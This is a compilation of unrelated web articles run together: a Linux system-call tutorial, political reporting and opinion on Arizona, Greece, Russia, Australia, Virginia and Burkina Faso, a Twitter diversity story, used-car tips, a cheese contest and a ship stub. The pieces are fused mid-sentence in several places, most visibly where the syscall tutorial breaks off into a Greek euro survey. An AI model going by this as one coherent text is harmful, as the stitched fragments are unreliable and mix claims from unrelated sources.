Jeff Young, LD 15’s treasurer, was blunt about the long-term problems Republicans face in Arizona. “Look around,” he said, gesturing to the room filling up with older white people, waiting for the meeting to get started. “We need to get young people here.” The party and the country are changing, Young said, and Republicans need to adapt on issues of race and culture.
“I was born and raised in Texas — it was racist when I was growing up,” Young told me, leaning in a little. “And you know something, my grandparents — I loved them dearly — but my grandparents were institutional racists. And the only way that this was going to change is they were going to have to die off. A lot of people who are very stringent about their views on immigration and gay rights, they’re not going to change. They’re just going to have to die off.”
Ward had walked into the meeting as Young and I spoke, working the room, smiling, shaking hands. Polished. Young pointed her out and said he’d make an introduction, but wanted to make sure I understood one last thing:
“I do not represent the views of the district.”TL;DR
This blog post explains how Linux programs call functions in the Linux kernel.
It will outline several different methods of making systems calls, how to handcraft your own assembly to make system calls (examples included), kernel entry points into system calls, kernel exit points from system calls, glibc wrappers, bugs, and much, much more.
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What is a system call?
When you run a program which calls open, fork, read, write (and many others) you are making a system call.
System calls are how a program enters the kernel to perform some task. Programs use system calls to perform a variety of operations such as: creating processes, doing network and file IO, and much more.
You can find a list of system calls by checking the man page for syscalls(2).
There are several different ways for user programs to make system calls and the low-level instructions for making a system call vary among CPU architectures.
As an application developer, you don’t typically need to think about how exactly a system call is made. You simply include the appropriate header file and make the call as if it were a normal function.
glibc provides wrapper code which abstracts you away from the underlying code which arranges the arguments you’ve passed and enters the kernel.
Before we can dive into the details of how system calls are made, we’ll need to define some terms and examine some core ideas that will appear later.
Prerequisite information
Hardware and software
This blog post makes the following assumptions that:
You are using a 32-bit or 64-bit Intel or AMD CPU. The discussion about the methods may be useful for people using other systems, but the code samples below contain CPU-specific code.
You are interested in the Linux kernel, version 3.13.0. Other kernel versions will be similar, but the exact line numbers, organization of code, and file paths will vary. Links to the 3.13.0 kernel source tree on GitHub are provided.
You are interested in glibc or glibc derived libc implementations (e.g., eglibc ).
x86-64 in this blog post will refer to 64bit Intel and AMD CPUs that are based on the x86 architecture.
User programs, the kernel, and CPU privilege levels
User programs (like your editor, terminal, ssh daemon, etc) need to interact with the Linux kernel so that the kernel can perform a set of operations on behalf of your user programs that they can’t perform themselves.
For example, if a user program needs to do some sort of IO ( open, read, write, etc) or modify its address space ( mmap, sbrk, etc) it must trigger the kernel to run to complete those actions on its behalf.
What prevents user programs from performing these actions themselves?
It turns out that the x86-64 CPUs have a concept called privilege levels. Privilege levels are a complex topic suitable for their own blog post. For the purposes of this post, we can (greatly) simplify the concept of privilege levels by saying:
Privilege levels are a means of access control. The current privilege level determines which CPU instructions and IO may be performed. The kernel runs at the most privileged level, called “Ring 0”. User programs run at a lesser level, typically “Ring 3”.
In order for a user program to perform some privileged operation, it must cause a privilege level change (from “Ring 3” to “Ring 0”) so that the kernel can execute.
There are several ways to cause a privilege level change and trigger the kernel to perform some action.
Let’s start with a common way to cause the kernel to execute: interrupts.
Interrupts
You can think of an interrupt as an event that is generated (or “raised”) by hardware or software.
A hardware interrupt is raised by a hardware device to notify the kernel that a particular event has occurred. A common example of this type of interrupt is an interrupt generated when a NIC receives a packet.
A software interrupt is raised by executing a piece of code. On x86-64 systems, a software interrupt can be raised by executing the int instruction.
Interrupts usually have numbers assigned to them. Some of these interrupt numbers have a special meaning.
You can imagine an array that lives in memory on the CPU. Each entry in this array maps to an interrupt number. Each entry contains the address of a function that the CPU will begin executing when that interrupt is received along with some options, like what privilege level the interrupt handler function should be executed in.
Here’s a photo from the Intel CPU manual showing the layout of an entry in this array:
If you look closely at the diagram, you can see a 2-bit field labeled DPL (Descriptor Privilege Level). The value in this field determines the minimum privilege level the CPU will be in when the handler function is executed.
This is how the CPU knows which address it should execute when a particular type of event is received and what privilege level the handler for that event should execute in.
In practice, there are lots of different ways to deal with interrupts on x86-64 systems. If you are interested in learning more read about the 8259 Programmable Interrupt Controller, Advanced Interrupt Controllers, and IO Advanced Interrupt Controllers.
There are other complexities involved with dealing with both hardware and software interrupts, such as interrupt number collisions and remapping.
We don’t need to concern ourselves with these details for this discussion about system calls.
Model Specific Registers (MSRs)
Model Specific Registers (also known as MSRs) are control registers that have a specific purpose to control certain features of the CPU. The CPU documentation lists the addresses of each of the MSRs.
You can use the CPU instructions rdmsr to wrmsr to read and write MSRs, respectively.
There are also command line tools which allow you to read and write MSRs, but doing this is not recommended as changing these values (especially while a system is running) is dangerous unless you are really careful.
If you don’t mind potentially destabilizing your system or irreversibly corrupting your data, you can read and write MSRs by installing msr-tools and loading the msr kernel module: % sudo apt-get install msr-tools % sudo modprobe msr % sudo rdmsr
Some of the system call methods we’ll see later make use of MSRs, as we’ll see soon.
Calling system calls with assembly is a bad idea
It’s not a great idea to call system calls by writing your own assembly code.
One big reason for this is that some system calls have additional code that runs in glibc before or after the system call runs.
In the examples below, we’ll be using the exit system call. It turns out that you can register functions to run when exit is called by a program by using atexit.
Those functions are called from glibc, not the kernel. So, if you write your own assembly to call exit as we show below, your registered handler functions won’t be executed since you are bypassing glibc.
Nevertheless, manually making system calls with assembly is a good learning experience.
Legacy system calls
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Using our prerequisite knowledge we know two things:
We know that we can trigger the kernel to execute by generating a software interrupt. We can generate a software interrupt with the int assembly instruction.
Combining these two concepts leads us to the legacy system call interface on Linux.
The Linux kernel sets aside a specific software interrupt number that can be used by user space programs to enter the kernel and execute a system call.
The Linux kernel registers an interrupt handler named ia32_syscall for the interrupt number: 128 (0x80). Let’s take a look at the code that actually does this.
From the trap_init function in the kernel 3.13.0 source in arch/x86/kernel/traps.c : void __init trap_init(void) { /*..... other code... */ set_system_intr_gate(IA32_SYSCALL_VECTOR, ia32_syscall);
Where IA32_SYSCALL_VECTOR is a defined as 0x80 in arch/x86/include/asm/irq_vectors.h.
But, if the kernel reserves a single software interrupt that userland programs can raise to trigger the kernel, how does the kernel know which of the many system calls it should execute?
The userland program is expected to put the system call number in the eax register. The arguments for the syscall itself are to be placed in the remaining general purpose registers.
One place this is documented is in a comment in arch/x86/ia32/ia32entry.S : * Emulated IA32 system calls via int 0x80. * * Arguments: * %eax System call number. * %ebx Arg1 * %ecx Arg2 * %edx Arg3 * %esi Arg4 * %edi Arg5 * %ebp Arg6 [note: not saved in the stack frame, should not be touched] *
Now that we know how to make a system call and where the arguments should live, let’s try to make one by writing some inline assembly.
Using legacy system calls with your own assembly
To make a legacy system call, you can write a small bit of inline assembly. While this is interesting from a learning perspective, I encourage readers to never make system calls by crafting their own assembly.
In this example, we’ll try calling the exit system call, which takes a single argument: the exit status.
First, we need to find the system call number for exit. The Linux kernel includes a file which lists each system call in a table. This file is processed by various scripts at build time to generate header files which can be used by user programs.
Let’s look at the table found in arch/x86/syscalls/syscall_32.tbl :
1 i386 exit sys_exit
The exit syscall is number 1. According to the interface described above, we just need to move the syscall number into the eax register and the first argument (the exit status) into ebx |
remaining in the euro.
We first asked a randomly selected control group whether it would be better for Greece to keep the euro or to introduce a national currency. Fully 78.5 percent chose the euro. We then informed another group that experts said that staying in the euro would require a few more months of pension cuts and tax increases. Support for the euro dropped to 75.6 percent. A final group was informed that staying in the euro would require 4-5 more years of austerity. In this group, support for the euro dropped to 72.7 percent.
It is possible that the high level of support for the euro reflects Greek worries that a Grexit would also end Greece’s membership in the E.U. To disentangle these fears, we finally asked respondents what they personally would choose regarding different possible combinations of euro and E.U. membership.
As you can see below, opinions divide strongly by party. There is overwhelming support for E.U. membership across all parties. But voters of the governing parties Syriza and ANEL are far more interested in leaving the euro while staying in the EU than are voters of the moderate opposition.
As Grexit risks have increased over the past days, this may indeed be a path for the Tsipras government to choose.
Although the majority of government voters does not want Grexit, the move to leave the euro zone would still be endorsed by about one-third of the government’s electorate. Moreover, the bank holiday and capital controls have already materialized some of the costs associated with Grexit.
If the Tsipras government additionally manages to convince voters that Grexit is mainly the euro zone’s fault, the government may be able to survive such a development. Incidentally, the sizable support for euro exit in the government’s camp might also provide a rationale for the argument that Grexit was Tsipras’s preferred outcome from the start.
Taken together with the strong popular no to more austerity in Greece, these results echo my own research on other balance of payments crises. In crises such as the Greek one, where both austerity and structural reforms and the alternative of an exchange rate devaluation (in this case Grexit) are costly, voters prefer a financing of the status quo. But when exchange-rate stability increasingly comes at the price of painful internal reforms, public opinion can switch from a preference for stability to one for devaluation. As a result, such crises often end in devaluation, but only after considerable delay.
For Greece, this means that despite years of trying to keep Greece in the euro, a Grexit is now less than just a theoretical possibility.
Stefanie Walter is a full professor for international relations and political economy at the University of Zuerich.Twitter's only black engineering manager just left the company with a scathing critique of its diversity practices.
In an essay published on Medium, Leslie Miley, who says that he was the only African-American in engineering leadership at Twitter, writes about his conflicted feelings toward a company whose management demographics are so at odds with its user base.
"Every day for almost three years, I have looked forward to making contributions to the platform that enables #BlackLivesMatter, and that amplifies the voices of #BlackTwitter," Miley writes. Citing a Twitter Diversity report, Miley notes that while more than 30 percent of the platform's U.S. active monthly users are black or Hispanic, that demographic makes up less than five percent of its engineering and product management team.
Miley describes uncomfortable situations where he tried to press for greater diversity in the company. He says that Hiring Committee meetings became contentious when he advocated for diverse candidates:
Candidates who were dinged for not being fast enough to solve problems, not having internships at ‘strong’ companies and who took too long to finish their degree. Only after hours of lobbying would they be hired. Needless to say, the majority of them performed well.
Miley says that at one point, when he asked what specific steps his department was taking to increase diversity, the senior vice president of engineering told him, "Diversity is important, but we can't lower the bar."
Miley also notes that while employee resource groups for women offered special opportunities to meet with guests of the company like Hillary Clinton and Mellody Hobson, the employee resource group representing Twitter's black employees did not receive invitations to events featuring Jesse Jackson or former NAACP head Ben Jealous.
POST CONTINUES BELOW
"Why wouldn’t there be a concerted effort to invite the few African American employees to these events?" Miley wonders. "Is it because, as one colleague told me, 'they forgot that you were black?'"
A particularly low moment for Miley came when he was working on an initiative with the senior vice president of engineering to track the ethnicity of potential job candidates to better understand where diverse candidates were falling out of the process. The VP suggested that Miley create a tool to analyze candidates' last names in order to classify their identities, a misleading and overly simplistic solution to a problem that extends beyond finding diverse candidates in the job pipeline.
I left that meeting wondering how I could, in good conscience, continue to work in an organization where the Sr. VP of Engineering could see himself as a technology visionary and be so unaware of this blind spot in his understanding of diversity.
TechCrunch reports that although Miley was laid off as part of Twitter's staff cuts in October, he had already told the company that he was leaving at the end of the month. The publication also notes that he had given up a severance package so that he could speak openly about his experience at Twitter.
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But Miley's assessment of Twitter had some optimistic aspects as well, particularly regarding the return in August of co-founder Jack Dorsey:
It is my belief that Jack understands the use case of Twitter better than anyone else, understands how diversity can be additive to growth, and is committed to making that happen. The leadership that Jack is showing has been long missing from Twitter and tech.
In response to Miley's critique, a spokesperson for Twitter told NTRSCTN:
We're committed to making substantive progress in making Twitter more diverse and inclusive. This commitment includes the expansion of our inclusion and diversity programs, diversity recruiting, employee development, and resource group-led initiatives. Beyond just disclosing our workforce representation statistics, we have also publicly disclosed our representation goals for women and under-represented minorities for 2016, making us the largest tech company to put hard numbers around its diversity commitment.
Miley says in his essay that with his departure, Twitter no longer has any managers, directors, or vice presidents of color in engineering or product management. The West’s latest round of sanctions against Russia and the fragile truce between Moscow and Kiev fails to alter the fact that the Kremlin has already succeeded in achieving most of its aims in Ukraine. Crimea is an all-but-accepted lost cause, and territories in Eastern and Southern Ukraine are under serious pressure to follow suit. But the US and the EU should realize that it was not solely militias in Eastern Ukraine or Russian weaponry that secured the upper hand for the Kremlin. In its campaign in Ukraine, Russia’s propaganda and information warfare have been far more effective than military action in helping Moscow achieve its agenda while largely tying the West’s hands in its attempts to respond.
The significance of Moscow-spun propaganda needs to be recognized and should not be underestimated. Much of the point of view of that propaganda has insinuated itself into and been internalized by the Western media, complementing Russia’s military tactics in achieving Putin’s expansionist goals. Since the start of the Kremlin’s campaign to take over Crimea in March, five myths successfully promulgated by the Russian propaganda machine have played a central role in allowing Putin to consolidate his gains in Ukraine.
The first myth, and the one that set the events in motion, was the narrative that depicts Crimea and Eastern Ukraine as essentially Russian. Moscow’s arguments promote the concept of a Kievan Rus, or a 9th century cradle of Slavic [Russian according to Moscow] civilization in the territory of Ukraine. Yet, whatever slim basis this notion might have in medieval history, in today’s reality, according to the 2001 census, out of Ukraine’s 24 regions, only the Donetsk and Luhansk regions had populations where Russian speakers totaled more than 50 percent. And even this figure fails to distinguish the fact that in former Soviet countries, where for many years Russian was the administrative language, a Russian speaker is not necessarily an ethnic Russian. For instance, pre-conflict Crimea was 77 percent Russian speaking but only 58 percent ethnically Russian, with Ukrainians and Crimean Tartars making up the balance.
The second myth of Russian propaganda posits that since the Euromaidan revolution toppled the government in Kiev, Eastern Ukrainians have been calling for Russian protection from the new government. While this notion was widely disseminated and even routinely believed, the Gallup Organization conducted polls in Ukraine April 2014, which found that only 8 percent of the population in Eastern Ukraine responded ‘definitely yes’ to wanting protection by the Russian army. In contrast 52 percent responded ‘definitely no.’ Likewise, 11 percent responded ‘rather yes’ while 17 percent responded ‘rather no.’ These first two inventions – which can be summarized as Russia was only responding to Russians asking for protection from Russia – were used as the initial pretext for Russian military adventurism in Crimea and Eastern Ukraine.
The third myth of the Russian propaganda effort, the frequent reference to militias in Ukraine’s Donbas region as local “separatists,” is one that is highly relevant today and continues to obscure the facts on the ground in Ukraine. It is an open secret that these “separatists” are largely composed of Russian special-forces, Russian militias of former (contract) soldiers, Cossack and Chechen militias, and local mercenaries. The ongoing use of the term “separatists” by the Western media reinforces the Kremlin’s construction of events, which denies Russian interference and characterizes the war as a conflict between Kiev and a group of local, homegrown rebels.
A fourth, particularly cynical myth broadcast by Russia – one that has been seen as transparent in the West – is the proposition that the Ukrainian government consists of “fascists” as the Russian media would have the people of Eastern Ukraine and the rest of the world believe. This portrayal of the government in Kiev enables Russia to propound the fifth and most insidious propaganda myth: that the Russian government and its proxies are “anti-fascists.” Recently Putin compared the struggle for Donetsk with the heroic anti-fascist struggle of the Russians during the siege of Leningrad in World War II. The truth, however, is that present-day Russian “anti-fascism” is nothing more than a nationalist and xenophobic self-celebration. It has nothing to do with genuine anti-fascism, which is characterized by adherence to democratic principles, respect for international law, and the protection of human rights.
What present-day Russia calls “anti-fascism” is rather the expression of a jingoist, nationalist mood, which in fact comes close, very close indeed, to a modern variant of fascism itself. It is, therefore, no coincidence and has been well documented that Putin's friends in Europe can be found in particular in neo-fascist and extreme right parties.
It is important to debunk all these myths and in particular this final, most sinister myth of Russian “anti-fascism” and call Putin's regime what it is: ultranationalist, populist, nativist, and directly opposed to liberal democracy. Or put another way: neo-fascist.Pauline Hanson has urged her followers to avoid brands like Cadbury and instead opt for ‘non-halal’ certified chocolates this Easter.
Hanson’s message came in a video posted to her Facebook page, in which she promoted Lindt and Darrell Lea as non-halal alternatives.
“If you want to actually support these companies, do it,” she said.
“Go and buy some non-halal Easter eggs and chocolate – and have a happy Easter everyone, and a very safe one.”
Related reading Pauline Hanson announces boycott of ABC after Four Corners, Insiders
Halal certification involves use of a licensed marker to indicate that a food is approved for consumption under Islamic religious rules.
In confectionary products, colouring and other additives derived from insects, or gelatin derived from other animals, can violate Islamic dietary rules.
One Nation says the fee for certification amounts to an ‘Islamic tax’ and has raised concern that licensing fees are used to finance terrorism – although a 2015 Senate committee found there was no substance to such concerns.
Related:
One Nation’s anti-halal policy specifically singles out Cadbury on the political party’s website.
“Australian icon Cadbury paid to have the Halal certification on their Easter product range in 2014, even though Easter is a Christian celebration and nothing to do with Islam,” the party states.
Cadbury Australia lists a significant range of Halal certified products, including bars, blocks and snacks, as well as seasonal Easter and Christmas items.
SBS has sought comment from the chocolate giant – other companies have said that certification schemes are vital for exporting their products to international markets.
Cadbury has recently been under fire after social media reports that they have removed the word ‘Easter’ from their products and seasonal marketing campaign – but as the company has been at pains to point out, there’s no truth to the reports.
One Nation’s anti-Islam policies include holding Royal Commission into Islam, halting all Muslim immigration, banning the Burqa and Niqab in public places and having surveillance cameras installed in Mosques.The average fuel economy of new vehicles rose 6% in 2012, and cars are expected to use less and less gas going forward. Isn’t that a good thing?
Well, not if you’re a state hoping to bump up revenues collected on gasoline sales. Less gas sold means less gas taxes collected by states—and therefore, less money the states have to build highways, patch roads, and do all of the other things normally funded by gas taxes.
To increase gas tax revenues, or at least maintain their current levels, one simple solution is to hike gas tax rates. As a New York Times magazine story recently detailed, many economists think higher gas taxes—at least $1.25 per gallon, more than double the current national average—are necessary for a wide range of reasons, including the reduction of traffic and offsetting the environmental impact of driving.
Curiously, in Virginia, Governor Bob McDonnell is suggesting just the opposite as a solution. McDonnell is proposing that Virginia eliminate its gas tax, which is now 17.5¢ per gallon. Since gas tax revenues are bound to decline as drivers buy less fuel, McDonnell suggests that the state drop this tax entirely, while jacking up another tax—one that’s paid by everyone, not just drivers, and that’s never expected to decline. If the proposal passes (it’s quite a long shot), road projects in Virginia would no longer be funded by gas taxes, but by a 0.8% increase in state sales tax, which would rise from 5% to 5.8% (still lower than neighboring Maryland‘s 6% rate).
(MORE: Not Your Grandpa’s Mercedes: Luxury Car Makers Aim for Younger, Less Rich Customers)
The Richmond Times-Dispatch quoted McDonnell’s attempts at explaining the proposed “solution”:
“We have a problem in Virginia and it’s a math problem,” McDonnell said in announcing his proposal. “When you look at what is happening with the primary sources of transportation funding, the fuels tax, that it is on a downward slope.”
Perhaps even more curiously, McDonnell is also suggesting that the owners of alternative-fuel vehicles—who are accustomed to receiving bonuses (rebates, free charging stations, access to special highway lanes) for their green choice of vehicles—should pay a $100 annual fee. And here’s how the governor explained this part of his plan:
“I’m a strong supporter of alternative fuel vehicles, and I’ve directed that we convert the state vehicle fleet to natural gas, but these vehicles generate little federal gas tax revenue and therefore need to contribute their share to fund the roads they use,” McDonnell said.
(MORE: Why the Car of the Future Will Be Powered by … Gasoline)
The proposal has support in certain circles—like among taxi companies and other businesses that spend a lot out of pocket on fuel costs and would obviously benefit if gas was cheaper. A Washington Post story recently offered their point of view, as well as that of the Virginia Retail Federation, which swore that it has “not found a pushback yet for the increase in the sales tax” among its members. Supporters also argue that the disappearance of the state gas tax may trickle down, so that prices would decrease for all sorts of goods and services priced partially based on the cost of fuel.
Regardless, everyday consumers may not like the idea of paying for services they don’t necessarily use. “There’s no need for people that don’t drive a car to pay higher taxes on consumer goods in order to subsidize those people who do drive cars,” Virginia Sen. J. Chapman Petersen said, according to the Times-Dispatch.
The point here is figuring out how to fund road infrastructure, right? Interestingly enough, surveys show that the majority of drivers actually support higher taxes on gasoline (a theoretical 10¢ increase) so long as the funds raised are used to improve roads. Think about that: How often are the majority of Americans behind the idea of increases taxes on anything?
(MORE: Top New Cars of 2013)
Nonetheless, McDonnell wants to eliminate the gas tax and spread the burden of funding road improvements to all consumers, while simultaneously decreasing incentives for drivers to purchase more fuel-efficient and alternative-fuel vehicles and to stay off the roads more, perhaps by using public transportation. But hey, gas would be cheaper!Buying a used car is similar in some ways to buying a new one, but it is very different in others. What’s the same is that you need to know what you want and you are looking for a good deal. From there, however, the approach takes quite a different turn. Winding up with a successful transaction and driving away in a mechanically sound vehicle where everything has been disclosed by the seller will be a lot more likely if you follow these top used car buying tips from the experts.
Narrow your choices. Even if you’ve decided on a particular make and model you want, experts recommend having a target vehicle list of three. These could be competitor vehicles to the one you really want, or they could be different body styles entirely. For example, you may be after a large four-door sedan but find that a crossover or a mid-size sedan will just as well suit your needs. Check the Other Choices section of every car review on The Car Connection for the vehicles we'd cross-shop, if you like.
GET MORE ADVICE ON: Car Seats, Car Recalls, Oil Changes, and Car Insurance
Decide how much you’re willing to pay. Just as in shopping for a new car, you need to know what your budget is and how much you are willing to pay. Here is where having more than one vehicle in your target list may come in handy. If a car is popular, the seller may be asking more than you really want to pay. Going for a competitive make and model may bring the price more in line with your budget.
Arrange financing ahead of time. Whether you shop at the used car section of a new car dealership, an independent used car lot or a private party, the only way to close the deal is with cash, financing from a bank, credit union or online bank, or dealer financing, if available. By securing financing before going used car shopping, this is one hurdle already overcome and may help you get the car you want before someone else does.
When buying from a private party, call ahead. Combing through the used car listings online or in the paper, when you find a car or vehicles you’re interested in, call the seller to check on the mileage (or confirm what’s in the listing), get the vehicle identification number (VIN) so you can order a vehicle history report, and make an appointment to test drive the car.
Obtain the vehicle history report. Armed with the VIN, go to AutoCheck or Carfax and purchase a vehicle history report. This is a complete history of the vehicle that lists all owners, any accidents, violations and other information that’s vital for you to know in order to determine if this car merits a closer look.
Test drive the vehicle. Do a vehicle walk-around, checking to see any obvious signs of repair, misaligned doors, noting scratches, dings or other visible signs of damage or wear. Then go for a test drive that mirrors, if possible, the kind of driving you generally do. During the test drive, pay attention to how the vehicle fits. Is it comfortable? Is visibility good? Does it accelerate appropriately? How is braking and cornering? Any squeaks and rattles? Check roominess and comfort in the back seat as well as storage capacity.
Ask to see service records. This is to provide assurance that the car has been properly maintained during the seller’s ownership of the vehicle.
Have it inspected. If you like what you see so far, it is still important to have the vehicle inspected by a mechanic. While it may cost you in the area of $100, the expense is well worth it to give you peace of mind that the vehicle is as the seller purports it to be and you shouldn’t expect a major problem when you drive it away after the sale. If this is a certified pre-owned (CPO) car you buy at a dealership, you don’t need the inspection.
Negotiate the price. Before making an offer, know what buyers in the area have actually paid for such vehicles, using tools like the Edmunds True Market Value and Kelley Blue Book pricing (for private party, suggested dealer retail, CPO). Then make an offer to the seller, going low to begin with, but not unreasonably low. If you must go higher in price, do so in increments and know when you’ve reached your limit. Be willing to walk away. There are many more used cars out there. You don’t have to buy this one if you run into problems or feel uncomfortable with the deal.
Don’t forget insurance. Before you drive away the car, make sure to call your insurance agent and add it to your policy. This protects you the minute you become the new owner.
Complete the transaction. In a private party sale, you’ll likely pay in cash or by certified check. If buying from a dealer, you may go with financing you’ve already arranged. Before money changes hands, however, have the seller sign over the title to you. Be aware of the requirements in your state regarding licensing and registration, as they vary.
MORE RESOURCES:The military in Burkina Faso has taken to the airwaves to declare it now controls the country, confirming that a coup has taken place - just weeks before national elections.
In the announcement aired early on Thursday on national television and radio, the statement said that the transitional government in the West African country had been dissolved.
The statement came a day after members of the elite presidential guard unit of the military arrested the transitional president and prime minister.
The communique read by Lieutenant Colonel Mamadou Bamba criticised the electoral code, which blocked members of the ex-president's party from taking part in the October 11 elections.
It is still very unclear how this crisis will now resolve itself Cynthia Ohayon, ICG
Anyone who supported the ex-president's bid to amend the
constitution so he could seek another term is also banned from running.
Bamba on Thursday announced the beginning of a "coherent, fair and equitable process" that would lead to inclusive elections. The power grab violates the country's constitution.
Fanny Noaro, a journalist based in the capital Ouagadougou, told Al Jazeera gunfire could be heard on the streets of the city.
"There is a lot of military on the street [...] there is also no information about the transitional president and prime minister and there is no information if they are dead or alive," she said.
A Reuters witness said that soldiers had fired warning shots to disperse a crowd gathered in Independence Square to protest against an apparent seizure of power by the presidential guard. More than 100 people had gathered in the square to demand the release of the interim government, detained by the elite military unit since Wednesday.
Burkina Faso was due to hold elections on October 11 that many hoped would strengthen democracy.
Cynthia Ohayon, West Africa analyst with International Crisis Group (ICG), described the turn of events as "unsurprising".
"It is still very unclear how this crisis will now resolve itself [...] the only outcome will come through negotiation and compromise [but] I don't see what sort of of compromise will be acceptable to both sides, considering both sides have gone all in so far," Ohayon told Al Jazeera from Paris.
The transitional government came to power after the president for 27 years, Blaise Compaore, was toppled late last year in a public uprising.An Avalanche of negative reaction has hit The Incline Village General Improvement District after this North Lake Tahoe, Nevada resort town voted last month to rescind health care insurance benefits to domestic partners of its employees.
According to Incline Village General Improvement District financial research, the move to take back domestic partnership benefits will only save the district about $1,500 in expenses, the estimated amount the district would pay through the end of the fiscal year, which ends June 30, 2009.
The district board will review their actions on March 11th, but whether they take action to reverse their decision is unknown.
Lez Get Real and other LGBT activists are calling for a boycott of Lake Tahoe until the district reverses this discriminatory and unnecessary position.
Contact page for Incline Village Development.
H/T to Lez Get Real for breaking the story.Falling sea ice levels due to climate change and spike in Russian activity require strategic response in US, says department of defense
By Ed King
US president Donald Trump jokes it’s a hoax. His military top brass beg to differ.
An updated US military strategy for the Arctic says “diminishing ice levels” due to warming temperatures pose a series of security risks to the country.
Released this week at the request of Alaska senator Dan Sullivan, a Republican, the 16-page document says the US must boost investment in its military assets around the North Pole.
“Diminishing sea ice will give rise to new economic opportunities in the region while simultaneously increasing concerns about human safety and protection of a unique ecosystem that many indigenous communities rely on for subsistence,” reads the Arctic Strategy.
“The breaking up of sea ice also threatens existing detection and warning infrastructure by increasing the rate of coastal erosion.”
In stark contrast to claims Trump’s administration may axe funding to climate science programmes, the Pentagon report says weather and climate science is a matter of national security.
“Robust observations, remote sensing capabilities, and modelling of the space, air, sea surface, ice, and ocean environments that affect operations in the Arctic are key aspects of domain awareness and safe operations, particularly in a remote and harsh region,” it says.
Citing NASA’s findings that the Arctic is “warming more rapidly than the rest of the planet”, the report says planners must consider the safety of their teams when evaluating environmental risk.
In a statement Sullivan – who sits on the influential Senate Armed Services Committee – said he hoped president Trump and Pentagon officials would “take a serious look at this document” and start work on a comprehensive Arctic strategy.
Trump’s new defence chief General James Mattis was confirmed in his post on 20 January, 12 days before this document was published.
“After nearly two years of advocacy and bipartisan efforts, I am pleased that we finally have a much more serious military strategy for the Arctic region,” said Sullivan.
“While this strategy is not perfect – including a failure to offer how best to counter the common threat it identifies – it is a dramatic improvement from the 2013 version which was more platitudes and pictures than actual substance.”
The Arctic is believed to hold over 20% of the world’s oil and gas reserves, and is also rich in minerals – all of which will be easier to access as sea ice levels recede.
In recent years Russia has invested heavily in the region. According to Reuters the scale of military build-up is the largest since 1991, seeking to impose control over half a million square miles of ocean.
Andy Holland, director of studies at the American Security Project, a bipartisan think tank based in Washington DC, said there was growing consensus among lawmakers of the need for a clearer Arctic plan.
“There is pressure to do this – and external pressure from the Russians. There have been a number of articles saying the Russians are militarising the Arctic,” he said.
Holland, who was recently in Norway speaking to NATO officials at the Bodo airbase, on the edge of the Arctic, said they reported an increase in Russian activity in the past year. “They are clearly pushing,” he added.Richard Wold (left) pulls a sample of an aged 1- to 2-year-old cheddar for judge Mark Johnson to smell and taste Thursday during the Champion of Cheese Charity Event to benefit the Hunger Task Force held at the Hyatt Regency Milwaukee. Credit: Michael McLoone / for the Journal Sentinel
SHARE The 2015 champion cheese, a traditional swiss wheel, made by Guggisberg Cheese Inc. (cheese makers Cecylia Szewcyk, Derek Yoder, Tom Beck, Marvin Raber, Norman Yoder, Marion Miller, David Miller and Jennifer George) of Millersburg, OH. Michael McLoone/ for the Journal Sentinel
By of the
Wisconsin cheesemakers took home the most gold medals in the 2015 U.S. Championship Cheese competition, winning 56 of the 90 categories.
Guggisberg Cheese Co., of Millersburg, Ohio, took top honors out of 1,892 entries from 28 states for its Swiss wheel. First runner-up in the contest, judged Thursday night in Milwaukee, was a brick cheese from Mill Creek Cheese in Arena.
The second runner-up was a medium cheddar from Land O'Lakes in Kiel.
The competition is the largest technical evaluation of cheese, butter and yogurt in the country and is rooted in more than 120 years of history, beginning when the Wisconsin Cheese Makers Association held its first cheese contest in 1891.
This year, more than 33,000 pounds of dairy products were entered into the contest.
One of the new categories in the event, held every two years, was yogurt.
"We have all the tools to evaluate dairy products... and more than any other dairy product, yogurt is the direct cousin to cheese," said John Umhoefer, executive director of the Wisconsin Cheese Makers Association, which hosts the contest.
New York came in second among the states, with seven gold medals. California had six, Vermont had five, Idaho, four; Oregon, three.
In addition to bragging rights in the industry, the awards are important as a marketing tool.
"For a new product or a new company, it puts them on the map. I have had cheesemakers say it changed their business," Umhoefer said.
It takes months to prepare for the contest.
"As we are aging cheese and looking for different characteristics, we run across some that looks a little better and we set it aside. As we get ready for the contest, we will go through those batches and look for something we think can be competitive," said Richard Guggisberg, president of Guggisberg Cheese Co.
He said the company made its award-winning Swiss cheese a traditional way, not used often these days, with a rind formed by air curing.
"It really does give the cheese a unique character and taste," Guggisberg said.
The company has won numerous awards for its Swiss and Baby Swiss cheeses.
"A lot of people in Wisconsin probably don't know it, but Ohio makes more Swiss cheese than any place in the country. There was an influx of Swiss immigrants in the last century, and one of them was my father, who started making cheese in the hills of eastern Ohio, which is a lot like Green County, Wisconsin," Guggisberg said.
Guggisberg hired a cheesemaker from Poland to direct its Swiss efforts. Now, the company has its sights set on the World Championship Cheese Contest in 2016.
"We are going to try to beat the Swiss (cheesemakers) at their own game. That's our goal," Guggisberg said. "The Swiss are very hard to beat because they have the highest quality milk supply in the world, and they've been well known, for centuries, for their Swiss cheesemaking."
Mill Creek Cheese, from Arena in Iowa County, has been family owned since 1891. Master Cheese Maker John "Randy" Pitman has 38 years of experience making a variety of award-winning cheeses.
"What I have is a dream team of workers. I have probably the best of the best, guys who have been with me for years," Pitman said.
Good cheese starts with quality ingredients, Pitman said.
"You must have excellent milk to make excellent cheese. You never skimp on what you put in there. And if you know what the cultures are doing, you know what the cheese is going to do," he said.
Pitman says he has a secret formula that combines different cultures to create a distinct flavor.
Contest judges consider many characteristics of cheese, such as texture and appearance.
"But at the end of the day, we're going to eat it. So it comes down to what I can do to improve the flavor," Pitman said.Pioneering Spirit (previously named Pieter Schelte) is the world's largest construction vessel, designed for the single-lift installation and removal of large oil and gas platforms and the installation of record-weight pipelines.[4][2]
Designed by Swiss-based Allseas Group, the 382 m long, 124 m wide vessel was built in South Korea by Daewoo Shipbuilding & Marine Engineering (2011–14) at a cost of €2.6 billion and commenced offshore operations in August 2016.
In June 2017, Pioneering Spirit commenced pipelay for the first line of SouthStream Transport B.V's dual 930-km Turkish Stream pipeline in the Black Sea.[5]
Allseas has committed to building an even larger version of the same design, Allseas Amazing Grace, the delivery of which is planned for 2022.[6]
Development [ edit ]
